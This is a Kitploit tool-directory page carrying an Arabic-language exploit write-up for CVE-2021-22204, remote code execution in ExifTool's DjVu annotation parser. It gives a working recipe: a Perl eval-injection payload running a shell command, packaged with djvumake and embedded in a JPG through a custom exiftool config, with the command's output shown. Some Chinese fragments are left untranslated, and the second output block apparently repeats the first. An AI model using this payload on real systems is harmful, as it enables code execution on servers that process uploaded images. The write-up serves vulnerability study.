Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-22204 — تحليل تقني متعمق لـ CVE-2021-22204 (ثغرة تنفيذ الأوامر عن بعد في ExifTool) مع إعادة إنتاج إثبات المفهوم، بناء الحمولة، ومراجعة كود Perl لمحلل تعليقات DjVu المعرض للخطر. | Kitploit
أدوات/GitHubGitHub/trganda/cve-2021-22204
تحليل الثغرات الأمنيةتحليل الكودالاستغلالالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHubtrganda/cve-2021-22204

CVE-2021-22204

تحليل تقني متعمق لـ CVE-2021-22204 (ثغرة تنفيذ الأوامر عن بعد في ExifTool) مع إعادة إنتاج إثبات المفهوم، بناء الحمولة، ومراجعة كود Perl لمحلل تعليقات DjVu المعرض للخطر.

عرض المستودع
310منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة تنفيذ التعليمات البرمجية عن بُعد في ExifTool

من المفترض أن يكون هذا مقال تحليل لـ CVE-2021-22204، لكنه أشبه بدفتري ملاحظات، مكتوب فيه الكثير من الأشياء الفوضوية. قد تكون المقالة ثرثارة بالنسبة لتحليل الثغرات، لكنني تعلمت الكثير منها.

بصراحة، لم أستخدم هذه الأداة من قبل، ولم أتعامل تقريبًا مع لغة Perl، مما جعلني مليئًا بعلامات الاستفهام أثناء التحليل وحتى أثناء إعادة الإنتاج. قبل البدء في التحليل، دعنا نلقي نظرة على الـ POC المنشورة على الإنترنت، والأسئلة التي تدور في ذهني.

POC - convisolabs

المقالة التي رأيتها هي [1]، والتي تشرح بإيجاز سبب الثغرة، ولكن نظرًا لأنني لا أفهم كود Perl، هناك الكثير من الأمور غير الواضحة. عملية إعادة الإنتاج كالتالي:

قم بتنزيل الإصدار 12.23 من exiftool

wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

فك الضغط والتثبيت

$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

بالطبع، إذا كنت لا ترغب في تثبيته، يمكنك ببساطة وضع ملف exiftool الموجود في دليل exiftool-12.23 في دليل ضمن متغير البيئة PATH، وبذلك يمكنك استخدام أداة exiftool مباشرة، لأن Perl هي لغة تفسيرية، تشبه Python.

لإنشاء صورة ضارة، قم أولاً بتثبيت الأدوات اللازمة

$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

نفّذ الأمر التالي لإنشاء ملف djvu ضار

$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# هذا هو أكثر ما أربكني، لا أفهم لماذا نحتاج إلى الضغط (لأن POC الأخرى لا تحتاج إليه)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = أي شيء بتنسيق 'N,N' حيث N رقم
# BGjp = يتوقع صورة JPEG، لكن يمكننا استخدام /dev/null لاستخدام لا شيء كصورة خلفية
# ANTz = سيكتب جزء التعليق المضغوط مع ملف الإدخال

ثم قم بتحليل الملف الضار باستخدام أداة exiftool، ستجد أن الأمر id قد نُفذ بنجاح

$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

عند إنشاء ملف بتنسيق djvu باستخدام الأمر djvumake سابقًا، هل يمكننا عدم ضغط payload؟ لأنه من منظور التحليل، هذا لا يسهل الفحص والاختبار. بالطبع يمكن،只需将参数 ANTz 换成 ANTa. يمكن الرجوع إلى [3] للحصول على شرح ANTz و ANTa، لكنني لم أجد معانيهما الدقيقة، حيث لم أجد وصفًا قياسيًا.

ما زلت أرغب في التذمر هنا، كنت أرغب في الاطلاع على شرح المعلمات عبر man djvumake، ولكن لم يكن هناك شرح لـ ANTz و ANTa على الإطلاق، تاريخ الوثيقة هو 2001، ولم يتم تحديثها منذ فترة طويلة.

Tag IDTag NameWritable
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTa تعني تخزين Annotation بنص عادي في metadata داخل ملف djvu، بينما ANTz هي تنسيق ضغط bzz.

لكن ملفات تنسيق djvu ليست شائعة، خاصة في المواقع التي تتيح رفع الصور، حيث تقبل في الغالب ملفات png/jpg/jpeg فقط. لذا، إذا كان بإمكاننا تحويل ملف djvu ضار إلى ملف jpg، فسيكون ذلك رائعًا.

يمكن لأداة exiftool مساعدتنا في تعديل محتوى الصورة،只需将 ملف djvu الضار إدراجه في المكان المناسب داخل ملف jpg. أما بالنسبة للمكان المحدد ولماذا يمكن أن يكون هذا المكان، فسيتم شرحه لاحقًا أثناء التحليل.

قم بإنشاء ملف تكوين exiftool باسم eval.config

%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b 对应Tag 'HasselbladExif'[6]
        0xc51b => {
            # 名字可以随意指定,这是接收的参数名称
            Name => 'HasselbladExif',
            # 可写入的变量类型
            Writable => 'string',
            # 写入的数据归属于metadata的哪一个Group[7]
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

يمكن الرجوع إلى [4][5] لمعرفة كيفية كتابة ملفات تكوين exiftool. ثم ابحث عن ملف صورة jpg عادي باسم poc.jpg، ونفّذ الأمر التالي

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

ثم قم بتحليل poc.jpg باستخدام exiftool، سيتم تنفيذ الأمر بنجاح

$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

تحليل الثغرة

تعتمد عملية التحليل التالية على المحتوى الوارد في [2]، الإصدار المتأثر بالثغرة هو exiftool < 12.24، والملف المسبب للثغرة هو

lib/Image/ExifTool/DjVu.pm (line 202)

كود الدالة ذات الصلة كالتالي

تنزيل الأداة